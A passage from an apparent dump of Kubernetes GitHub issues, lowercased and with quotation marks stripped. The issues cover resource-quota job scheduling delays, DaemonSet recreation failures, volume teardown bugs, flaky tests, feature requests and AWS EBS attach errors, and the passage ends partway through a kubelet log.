97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-10   1         0            6s 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-11   1         0            6s 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-12   1         0            6s 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-13   1         0            6s 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-14   1         0            6s 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-15   1         0            6s 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-16   1         0            6s 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-17   1         0            6s 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-18   1         0            6s 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-19   1         0            6s 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-2    1         1            6s 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-20   1         0            6s 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-21   1         0            6s 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-22   1         0            5s 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-23   1         0            5s 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-3    1         1            6s 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-4    1         0            6s 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-5    1         0            6s 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-6    1         0            6s 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-7    1         0            6s 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-8    1         0            6s 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-9    1         0            6s      within less than 6 seconds the 4 first jobs are successfully run. then no more jobs are scheduled in a while. i check the quota which states that there are 4 pods available to run jobs on:      $ kubectl describe resourcequotas --namespace=alice name:       compute-resources namespace:  alice resource    used    hard --------    ----    ---- pods        0   4      but still no more jobs are being executed until some time later when 4 more jobs are successfully executed:      $ kubectl get jobs --namespace=alice name                                      desired   successful   age 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-0    1         1            11m 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-1    1         1            11m 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-10   1         1            11m 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-11   1         1            11m 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-12   1         0            11m 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-13   1         0            11m 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-14   1         1            11m 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-15   1         0            11m 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-16   1         0            11m 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-17   1         0            11m 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-18   1         0            11m 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-19   1         0            11m 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-2    1         1            11m 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-20   1         0            11m 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-21   1         0            11m 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-22   1         0            11m 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-23   1         0            11m 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-3    1         1            11m 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-4    1         0            11m 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-5    1         1            11m 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-6    1         0            11m 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-7    1         0            11m 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-8    1         0            11m 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-9    1         0            11m      after 25 minutes, 12 jobs got executed:      $ kubectl get pods -a --namespace=alice name                                            ready     status      restarts   age 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-0-9znh4    0/1       completed   0          25m 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-1-ukx6e    0/1       completed   0          25m 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-10-u6mcj   0/1       completed   0          17m 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-11-9hqou   0/1       completed   0          17m 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-14-lk406   0/1       completed   0          17m 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-15-703dk   0/1       completed   0          7m 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-16-dlf7v   0/1       completed   0          7m 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-18-6h54b   0/1       completed   0          7m 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-2-lq03r    0/1       completed   0          25m 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-3-ntf6q    0/1       completed   0          25m 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-5-cid1s    0/1       completed   0          17m 97a1bb33-9b8a-4261-a306-ed5d2e0c61b4-9-jvlso    0/1       completed   0          7m        what you expected to happen  : taking into account that each task was very light, less than 6 seconds to get executed, i would expect them to get executed within 6 24 seconds plus container creation and orchestration overhead, no more than 3 or 4 minutes in total.    how to reproduce it  : to reproduce it: 1. create a sample namespace. 2. create a sample resource quota like the following,  rq.yaml :      yaml apiversion: v1 kind: resourcequota metadata:   name: compute-resources spec:   hard:     pods: \ 4\        kubectl create -f kubernetes/resourcequotas/rq.yaml --namespace=alice  3. create n jobs, where n is greater than the specified quota. since i am doing it using the extensions/v1beta1 api it would be better doing it the same way. creating a json spec for the job   job.json  :      json {   \ apiversion\ : \ extensions/v1beta1\ ,   \ kind\ : \ job\ ,   \ metadata\ : {     \ name\ : \ pi\    },   \ spec\ : {     \ autoselector\ : true,     \ template\ : {       \ metadata\ : {         \ name\ : \ pi\        },       \ spec\ : {         \ containers\ :             {             \ name\ : \ pi\ ,             \ image\ : \ perl\ ,             \ command\ :                 \ perl\ ,               \ -mbignum=bpi\ ,               \ -wle\ ,               \ print bpi 20 \                          }          ,         \ restartpolicy\ : \ never\        }     }   } }      and run the following command within a loop for n times. since i am running the python program inside the cluster, you should execute this inside also:      bash curl -v --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt -h \ authorization: bearer $ cat /var/run/secrets/kubernetes.io/serviceaccount/token \  https://kubernetes/apis/extensions/v1beta1/namespaces/alice/jobs -h \ content-type: application/json\  -x post -d @job.json        anything else do we need to know  :  perhaps you have noticed that in my python program i am creating jobs with docker images that are using a volume   hostpath   to keep the calculation results. if you think this is the critical part, you can use my sample image with is diegodelemos/capreuse_fibonacci. it expects an input file  in /data  with a list of comma separated numbers called  input.dat  and writes to a file  output.dat  the results. otherwise, you can make your own example using volumes   hostpath  .  coming from https://groups.google.com/forum/ !topic/kubernetes-users/qd5ua2uqqno addressed to @derekwaynecarr

hi,\r \r i'm encountering issues using daemonset. i can deploy only once. if i delete the daemonset with the associated nodes, i'm unable anymore to deploy the same daemonset config.also deleting a node don't make it reapar after.\r \r   environment  :\r -   cloud provider or hardware configuration  : bare metal\r -   os    e.g. from /etc/os-release : coreos 1353.8.0\r -   kernel    e.g.  uname -a  : linux core01.fqdn 4.9.24-coreos  1 smp tue may 30 23:12:01 utc 2017 x86_64 intel r  atom tm  cpu c2750 @ 2.40ghz genuineintel gnu/linux\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r here is an example, i'm using this:\r    yaml\r kind: daemonset\r apiversion: extensions/v1beta1\r metadata:\r   name: hostname-ds\r   namespace: kube-system\r spec:\r   template:\r     metadata:\r       labels:\r         name: hostname-ds\r     spec:\r       containers:\r       - image: gcr.io/google_containers/serve_hostname\r         name: hostname-ds\r         resources:\r           limits:\r             cpu: 200m\r             memory: 30mi\r           requests:\r             cpu: 100m\r             memory: 20mi\r         ports:\r         - name: port\r           containerport: 9376\r    \r on the first apply, it works, then if i try to remove a pod it's doesn't restart  here i've got 4 nodes :\r    \r $ kubectl get po | grep hostname\r name                                            ready     status    restarts   age\r hostname-ds-h604g                            1/1       running   0          3m\r hostname-ds-jm6h6                            1/1       running   0          3m\r hostname-ds-pbmzj                            1/1       running   0          3m\r    \r \r the missing one is not restarted. now if i'm looking at the describe:\r    \r name:\t\thostname-ds\r selector:\tname=hostname-ds\r node-selector:\t<none>\r labels:\t\tname=hostname-ds\r annotations:\tkubectl.kubernetes.io/last-applied-configuration={\ apiversion\ :\ extensions/v1beta1\ ,\ kind\ :\ daemonset\ ,\ metadata\ :{\ annotations\ :{},\ name\ :\ hostname-ds\ ,\ namespace\ :\ kube-system\ },\ spec\ :{\ template\ :{...\r desired number of nodes scheduled: 4\r current number of nodes scheduled: 4\r number of nodes scheduled with up-to-date pods: 4\r number of nodes scheduled with available pods: 3\r number of nodes misscheduled: 0\r pods status:\t3 running / 0 waiting / 0 succeeded / 0 failed\r pod template:\r   labels:\tname=hostname-ds\r   containers:\r    hostname-ds:\r     image:\tgcr.io/google_containers/serve_hostname\r     port:\t9376/tcp\r     limits:\r       cpu:\t200m\r       memory:\t30mi\r     requests:\r       cpu:\t\t100m\r       memory:\t\t20mi\r     environment:\t<none>\r     mounts:\t\t<none>\r   volumes:\t\t<none>\r events:\t\t<none>\r    \r i can see there are only 3 of 4 pods running.\r \r if i'm trying to delete the daemonset, it takes a long time and i need to add --cascade=false to be sure it's deleted. if i'm trying to push the same config of the daemonset, nothings happen, i don't see any pods creating.\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:44:27z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4+coreos.0\ , gitcommit:\ 8996efde382d88f0baef1f015ae801488fcad8c4\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t21:11:20z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   what you expected to happen  :\r \r i'm expecting the daemonset to recreate deleted pods and daemonset recreating ok after delete\r \r thanks\r

it's safe to remove  overlapannotation  now.\r \r -     deployment controller: pkg/controller/deployment/deployment_controller.go\r -     deployment util: pkg/controller/deployment/util/deployment_util.go\r -     deployment reaper: pkg/kubectl/stop.go\r -     deployment describer: pkg/printers/internalversion/describe.go\r \r @kubernetes/sig-apps-misc

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   \r   what happened  :\r when running  hack/verify-golint.sh  without  golint  installed, the script hangs for seconds and then exits with below error.\r \r    \r cloud@ubuntu:~/go/src/k8s.io/kubernetes$ hack/verify-golint.sh \r hack/verify-golint.sh: line 69: golint: command not found\r !!! error in hack/verify-golint.sh:69\r   error in hack/verify-golint.sh:69. 'failedlint=$ golint \ $p\ / .go ' exited with status 127\r call stack:\r   1: hack/verify-golint.sh:69 main ... \r exiting with status 1\r    \r \r   what you expected to happen  :\r if  golint  isn't installed,  hack/verify-golint.sh  should exit immediately and give help info on how to install  golint .\r \r   how to reproduce it  as minimally and precisely as possible   :\r run  hack/verify-golint.sh  without  golint  installed.\r \r   anything else we need to know?  :\r nope.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r currently, fc plugin doesn't have a chance to update attached volume's devicepath into volume object.\r we discussed this at the following thread but this proposal wasn't accepted.\r - https://github.com/kubernetes/kubernetes/pull/54264\r - https://github.com/kubernetes/kubernetes/issues/56803\r \r if the volumemode is block, we have these three main operations during block volume teardown path, but  all of them fail since devicepath isn't passed to these operations.\r - teardowndevice  \r - remove loopback device\r - check device open status\r \r   what you expected to happen  :\r successfully complete these operations during teardown path.\r \r   how to reproduce it  as minimally and precisely as possible   :\r - create pod with fc volume which has volumemode=block\r - delete pod with fc volume\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r k8sbuild-master mtanino% k version                                                                                                                                     ~/sample/storage/fc_loop/block/block \r client version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.0-alpha.0.856+7320a45fc2ab63-dirty\ , gitcommit:\ 7320a45fc2ab6350018d4884afd39514eb596dc2\ , gittreestate:\ dirty\ , builddate:\ 2017-12-12t23:38:59z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.0-alpha.0.856+7320a45fc2ab63-dirty\ , gitcommit:\ 7320a45fc2ab6350018d4884afd39514eb596dc2\ , gittreestate:\ dirty\ , builddate:\ 2017-12-13t16:13:19z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - install tools: local-cluster-up.sh\r

the new test  introduced by  61143  seems to be quite flaky.\r \r example failures:\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/61432/pull-kubernetes-integration/4240/\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/61848/pull-kubernetes-integration/4250/\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/61042/pull-kubernetes-integration/4234/\r \r should a \ performance\  test even be run in the pre-submit pr runs?\r \r /cc @satyasm @bowei

kubernetes depends on openapi v3 spec. but it seems that the official repo is not maintained https://github.com/go-openapi/spec3/commits/master . the repository readme says  this repository is not usable at this moment, the implementation is incomplete  .\r \r the primary contributor of the library @casualjim has mentioned  here  https://github.com/go-swagger/go-swagger/issues/1122 issuecomment-356086493 :\r \r  there are a lot more issues with 3.0. it has expressions, a vastly different syntax and so on.\r somebody else is more than welcome to step up but i don't have time to implement and mantain such a large specification as main contributor. \r \r this seems like something to look into for kubernetes.

our gke scalability jobs  https://k8s-testgrid.appspot.com/sig-scalability-gke  are failing in the cluster teardown step  even though the e2e tests themselves passed . e.g failures:\r \r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-scale-correctness/10\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-scale-correctness/11\r \r seems like it's caused by some leaked network-related resources:\r \r    \r error deleting network: error during gcloud compute networks delete -q gke-scale-cluster --project=kubernetes-scale: exit status 1\r    \r \r /assign @krzysied \r krzysiek - could you ptal into this when you find time? it'll be great to have our gke suite back to green.\r \r cc @kubernetes/sig-scalability-bugs @wojtek-t

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r  kubectl get -o wide resourcequotas  isn't very useful as it only shows the name and age of the resourcequota resource.  it'd be nice if it also shows the current/allocated usage for each, like this:\r \r    \r $ kubectl get -o wide resourcequotas\r \r name        age    request                            limit\r default     14d    cpu: 100m/4000m, memory: 2gi/4gi   cpu: 1000m/4000m, memory: 4gi/8gi\r    \r \r each resourcequota summary is of the format:  already_allocated/total_allocated .\r \r i think it would be a useful feature.  i wouldn't mind taking a crack at implementing it if it's deemed worth by the maintainers.\r \r thanks.

failing test job : gce-new-master-upgrade-cluster-parallel\r \r  test failure :   sig-cluster-lifecycle  upgrade  feature:upgrade  cluster upgrade should maintain a functioning cluster  feature:clusterupgrade \r \r also: service-upgrade\r \r  testgrid : https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-new-master-upgrade-cluster-parallel\r \r sample: https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster-parallel/5650\r \r details:\r \r this test failure is similar to, but not identical to, both  70972 and  70151.  however, the error messages are different, and this it the first time it's happening in the parallel upgrade job.\r \r looking into the log output, we have a lot of \ failure to connect\  errors:\r \r    \r nov 19 22:21:39.652: could not reach http service through 35.232.211.55:80 after 2m0s\r \r nov 19 22:21:39.652: could not reach http service through 35.232.211.55:80 after 2m0s\r    \r \r i'd assume this to be just a gce flake, except that it's now failed for 3 runs, and we're not seeing this issue in most other jobs.\r \r according to triage  https://storage.googleapis.com/k8s-gubernator/triage/index.html?text=could%20not%20reach%20http%20service%20through  that message is a known flake that's occured before, but it became much more frequent over the weekend.\r \r   /  \r cc\r @mikedanese @logicalhan @aishsundar @justinsb\r \r

the istio which is based on kubernetes, its official document said:\r we can access the jaeger ui by the following action:\r kubectl port-forward -n istio-system $ kubectl get pod -n istio-system -l app=jaeger -o jsonpath=’{.items 0 .metadata.name}’  16686:16686 &\r \r then can use http://localhost:16686.\r but the localhost is a linux machine, there haven’t a browser.\r i must open the browser on a remote machine.\r how can i do?\r thanks.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : looked at the api docs.  discussed on the kubernetes/sig-auth slack channel with @ericchiang and @whitlockjc  ---    is this a bug report or feature request?    choose one : feature request  once oidc is integrated, it would be helpful to have an endpoint that will reply with information about the logged in user, mainly the username, uid, groups and roles.  something similar to openshift's /oapi/v1/users/~ service.  ideally this would return json similar to:      json {   \ username\ :\ me\ ,   \ uid\ :\ myuid\ ,   \ groups\ :                    \ admins\ ,                   \ devs\ ,                   \ etc\ ,                  ,   \ roles\ :                 \ adminrole\ ,                \ userrole\ ,                \ etc\                }      that way someone can easily test that oidc is setup correctly, the dashboard can show who the logged in user is and external tool developers can verify/display the logged in user.      what you expected to happen  :      $ curl -h \ authorization: bearer asdfv...\  https://myapi.k8s.io/api/path/to/whoami {   \ username\ :\ me\ ,   \ uid\ :\ myuid\ ,   \ groups\ :                    \ admins\ ,                   \ devs\ ,                   \ etc\ ,                  ,   \ roles\ :                 \ adminrole\ ,                \ userrole\ ,                \ etc\                }

first we should make small integration tests that are spinning up a two-node cluster  maybe in containers  and verifying that the cluster comes up and basic functionality works  then full-featured e2e testing that runs the e2e conformance suite on a kubeadm-created cluster should follow as a presubmit check so we can be sure that we're not breaking things when submitting prs  hopefully we're doing this in containers, @errordeveloper and @marun were experimenting with that.  anything else we need for testing kubeadm?  cc @kubernetes/sig-cluster-lifecycle @kubernetes/sig-testing

is this a bug report or feature request?    choose one :\r bug report\r \r in file:\r https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apiserver/plugin/pkg/audit/log/backend.go\r \r variable sink and function auditstringslice is not used.\r \r

 \r   what happened  :\r starting a new pod reusing a previously created aws ebs dynamically provisioned persistent volume fails to attach and start.\r \r pod description: -\r ~~~\r name:\t\tprometheus-4088412010-bk19v\r namespace:\tkube-system\r node:\t\tip-10-16-6-103.eu-west-1.compute.internal/10.16.6.103\r start time:\tfri, 23 jun 2017 10:10:25 +0000\r labels:\t\tapp=prometheus\r \t\tpod-template-hash=4088412010\r annotations:\tkubernetes.io/created-by={\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ replicaset\ ,\ namespace\ :\ kube-system\ ,\ name\ :\ prometheus-4088412010\ ,\ uid\ :\ 2ccd6bf2-57fc-11e7-bc44-0a851b...\r status:\t\trunning\r ip:\t\t\r controllers:\treplicaset/prometheus-4088412010\r containers:\r   prometheus:\r     container id:\tdocker://3726dff4e1902659e8b6e0c565b9166708b9f7e325c3fe4ca363965bbc5d1f1f\r     image:\t\tquay.io/prometheus/prometheus:v1.7.1\r     image id:\t\tdocker-pullable://quay.io/prometheus/prometheus@sha256:8bd6697df76f17355ae8ba603e92cb59e0f1262e6e92530505d9fe2dfbba58e3\r     port:\t\t9090/tcp\r     args:\r       -storage.local.retention=360h0m0s\r       -storage.local.memory-chunks=500000\r       -config.file=/etc/prometheus/prometheus.yml\r     state:\t\tterminated\r       exit code:\t0\r       started:\t\tmon, 01 jan 0001 00:00:00 +0000\r       finished:\t\tfri, 30 aug 1754 22:43:41 +0000\r     ready:\t\tfalse\r     restart count:\t0\r     environment:\t<none>\r     mounts:\r       /etc/prometheus from config-volume  rw \r       /prometheus from data-volume  rw \r       /var/run/secrets/kubernetes.io/serviceaccount from prometheus-token-nznv5  ro \r conditions:\r   type\t\tstatus\r   initialized \ttrue \r   ready \tfalse \r   podscheduled \ttrue \r volumes:\r   config-volume:\r     type:\tconfigmap  a volume populated by a configmap \r     name:\tprometheus\r     optional:\tfalse\r   data-volume:\r     type:\tpersistentvolumeclaim  a reference to a persistentvolumeclaim in the same namespace \r     claimname:\tk8smetrics-prometheus\r     readonly:\tfalse\r   prometheus-token-nznv5:\r     type:\tsecret  a volume populated by a secret \r     secretname:\tprometheus-token-nznv5\r     optional:\tfalse\r qos class:\tbesteffort\r node-selectors:\t<none>\r tolerations:\t<none>\r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\tsubobjectpath\ttype\t\treason\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t-------------\t--------\t------\t\t-------\r   44m\t\t44m\t\t1\tdefault-scheduler\t\t\tnormal\t\tscheduled\tsuccessfully assigned prometheus-4088412010-bk19v to ip-10-16-6-103.eu-west-1.compute.internal\r   44m\t\t44m\t\t1\tattachdetach\t\t\t\twarning\t\tfailedmount\tfailed to attach volume \ pvc-843d6a31-4c70-11e7-90a6-027c144c64ae\  on node \ ip-10-16-6-103.eu-west-1.compute.internal\  with: error attaching ebs volume \ vol-002cbcd445e487777\  to instance \ i-033d417058e281d74\ : volumeinuse: vol-002cbcd445e487777 is already attached to an instance\r \t\tstatus code: 400, request id: 72e1b697-de78-4566-bd59-39960768387a\r   44m\t\t44m\t1\tattachdetach\t\twarning\tfailedmount\tfailed to attach volume \ pvc-843d6a31-4c70-11e7-90a6-027c144c64ae\  on node \ ip-10-16-6-103.eu-west-1.compute.internal\  with: error attaching ebs volume \ vol-002cbcd445e487777\  to instance \ i-033d417058e281d74\ : volumeinuse: vol-002cbcd445e487777 is already attached to an instance\r \t\tstatus code: 400, request id: 8814313d-fc4a-4df8-9744-6e9be52d19d4\r   44m\t\t44m\t1\tattachdetach\t\twarning\tfailedmount\tfailed to attach volume \ pvc-843d6a31-4c70-11e7-90a6-027c144c64ae\  on node \ ip-10-16-6-103.eu-west-1.compute.internal\  with: error attaching ebs volume \ vol-002cbcd445e487777\  to instance \ i-033d417058e281d74\ : volumeinuse: vol-002cbcd445e487777 is already attached to an instance\r \t\tstatus code: 400, request id: 70f8da08-ef08-4d47-8809-3360e6d1511f\r   44m\t\t44m\t1\tattachdetach\t\twarning\tfailedmount\tfailed to attach volume \ pvc-843d6a31-4c70-11e7-90a6-027c144c64ae\  on node \ ip-10-16-6-103.eu-west-1.compute.internal\  with: error attaching ebs volume \ vol-002cbcd445e487777\  to instance \ i-033d417058e281d74\ : volumeinuse: vol-002cbcd445e487777 is already attached to an instance\r \t\tstatus code: 400, request id: 18d48c25-46f3-49c0-a06f-27b5ca9f770e\r   44m\t\t44m\t1\tattachdetach\t\twarning\tfailedmount\tfailed to attach volume \ pvc-843d6a31-4c70-11e7-90a6-027c144c64ae\  on node \ ip-10-16-6-103.eu-west-1.compute.internal\  with: error attaching ebs volume \ vol-002cbcd445e487777\  to instance \ i-033d417058e281d74\ : volumeinuse: vol-002cbcd445e487777 is already attached to an instance\r \t\tstatus code: 400, request id: edd6c30f-9ab1-468e-aee8-e72e48f6c369\r   44m\t\t44m\t1\tattachdetach\t\twarning\tfailedmount\tfailed to attach volume \ pvc-843d6a31-4c70-11e7-90a6-027c144c64ae\  on node \ ip-10-16-6-103.eu-west-1.compute.internal\  with: error attaching ebs volume \ vol-002cbcd445e487777\  to instance \ i-033d417058e281d74\ : volumeinuse: vol-002cbcd445e487777 is already attached to an instance\r \t\tstatus code: 400, request id: 1fa917cf-bc06-42c4-b51c-896ea7e7be4b\r   43m\t\t43m\t1\tkubelet, ip-10-16-6-103.eu-west-1.compute.internal\tspec.containers{prometheus}\tnormal\tpulling\t\tpulling image \ quay.io/prometheus/prometheus:v1.7.1\ \r   43m\t\t43m\t1\tkubelet, ip-10-16-6-103.eu-west-1.compute.internal\tspec.containers{prometheus}\tnormal\tpulled\t\tsuccessfully pulled image \ quay.io/prometheus/prometheus:v1.7.1\ \r   43m\t\t43m\t1\tkubelet, ip-10-16-6-103.eu-west-1.compute.internal\tspec.containers{prometheus}\tnormal\tcreated\t\tcreated container with id 3726dff4e1902659e8b6e0c565b9166708b9f7e325c3fe4ca363965bbc5d1f1f\r   41m\t\t41m\t1\tkubelet, ip-10-16-6-103.eu-west-1.compute.internal\tspec.containers{prometheus}\twarning\tfailed\t\tfailed to start container with id 3726dff4e1902659e8b6e0c565b9166708b9f7e325c3fe4ca363965bbc5d1f1f with error: rpc error: code = 4 desc = context deadline exceeded\r   41m\t\t41m\t1\tkubelet, ip-10-16-6-103.eu-west-1.compute.internal\t\t\t\t\twarning\tfailedsync\terror syncing pod, skipping: failed to \ startcontainer\  for \ prometheus\  with rpc error: code = 4 desc = context deadline exceeded: \ start container failed\ \r \r   18m\t10m\t5\tkubelet, ip-10-16-6-103.eu-west-1.compute.internal\t\t\t\t\twarning\tfailedmount\tunable to mount volumes for pod \ prometheus-4088412010-bk19v_kube-system 2cd0250c-57fc-11e7-bc44-0a851b7f13b8 \ : timeout expired waiting for volumes to attach/mount for pod \ kube-system\ /\ prometheus-4088412010-bk19v\ . list of unattached/unmounted volumes= data-volume \r   18m\t10m\t5\tkubelet, ip-10-16-6-103.eu-west-1.compute.internal\t\t\t\t\twarning\tfailedsync\terror syncing pod, skipping: timeout expired waiting for volumes to attach/mount for pod \ kube-system\ /\ prometheus-4088412010-bk19v\ . list of unattached/unmounted volumes= data-volume \r   8m\t8m\t1\tkubelet, ip-10-16-6-103.eu-west-1.compute.internal\t\t\t\t\tnormal\tsandboxchanged\tpod sandbox changed, it will be killed and re-created.\r   8m\t8m\t1\tkubelet, ip-10-16-6-103.eu-west-1.compute.internal\tspec.containers{prometheus}\tnormal\tpulled\t\tcontainer image \ quay.io/prometheus/prometheus:v1.7.1\  already present on machine\r   8m\t8m\t1\tkubelet, ip-10-16-6-103.eu-west-1.compute.internal\tspec.containers{prometheus}\tnormal\tcreated\t\tcreated container with id ba44ac887b2bb03035260413d8a37f1b0b9452fca055be44dfc220940a5ecb18\r   6m\t6m\t1\tkubelet, ip-10-16-6-103.eu-west-1.compute.internal\tspec.containers{prometheus}\twarning\tfailed\t\tfailed to start container with id ba44ac887b2bb03035260413d8a37f1b0b9452fca055be44dfc220940a5ecb18 with error: rpc error: code = 4 desc = context deadline exceeded\r   6m\t6m\t1\tkubelet, ip-10-16-6-103.eu-west-1.compute.internal\t\t\t\t\twarning\tfailedsync\terror syncing pod, skipping: failed to \ startcontainer\  for \ prometheus\  with rpc error: code = 4 desc = context deadline exceeded: \ start container failed\ \r ~~~\r \r initially the problem seems to be the complaint that the volume is attached to an instance   when the instance it is attached to is the node required .\r \r i saw these errors in the kublet log..\r \r ~~~\r 2m  5s  2 kubelet, ip-10-16-6-103.eu-west-1.compute.internal    warning failedmount unable to mount volumes for pod \ prometheus-4088412010-bk19v_kube-system 2cd0250c-57fc-11e7-bc44-0a851b7f13b8 \ : timeout expired waiting for volumes to attach/mount for pod \ kube-system\ /\ prometheus-4088412010-bk19v\ . list of unattached/unmounted volumes= data-volume \r   2m  5s  2 kubelet, ip-10-16-6-103.eu-west-1.compute.internal    warning failedsync  error syncing pod, skipping: timeout expired waiting for volumes to attach/mount for pod \ kube-system\ /\ prometheus-4088412010-bk19v\ . list of unattached/unmounted volumes= data-volume \r ~~~\r \r turning up the logging and restarting the kubelet results in these logs...\r ~~~\r 0623 10:46:15.734566   21516 config.go:415  receiving a new pod \ prometheus-4088412010-bk19v_kube-system 2cd0250c-57fc-11e7-bc44-0a851b7f13b8 \ \r i0623 10:46:15.818698   21516 generic.go:146  genericpleg: 2cd0250c-57fc-11e7-bc44-0a851b7f13b8/3726dff4e1902659e8b6e0c565b9166708b9f7e325c3fe4ca363965bbc5d1f1f: non-existent -> unknown\r i0623 10:46:15.818728   21516 generic.go:146  genericpleg: 2cd0250c-57fc-11e7-bc44-0a851b7f13b8/6380a3223c07091bf6d22a3d6321486969af2208c684822548a80b652b9a123b: non-existent -> exited\r i0623 10:46:15.928217   21516 kuberuntime_manager.go:837  getsandboxidbypoduid got sandbox ids  \ 6380a3223c07091bf6d22a3d6321486969af2208c684822548a80b652b9a123b\   for pod \ prometheus-4088412010-bk19v_kube-system 2cd0250c-57fc-11e7-bc44-0a851b7f13b8 \ \r i0623 10:46:15.949650   21516 generic.go:343  pleg: write status for prometheus-4088412010-bk19v/kube-system: &container.podstatus{id:\ 2cd0250c-57fc-11e7-bc44-0a851b7f13b8\ , name:\ prometheus-4088412010-bk19v\ , namespace:\ kube-system\ , ip:\ \ , 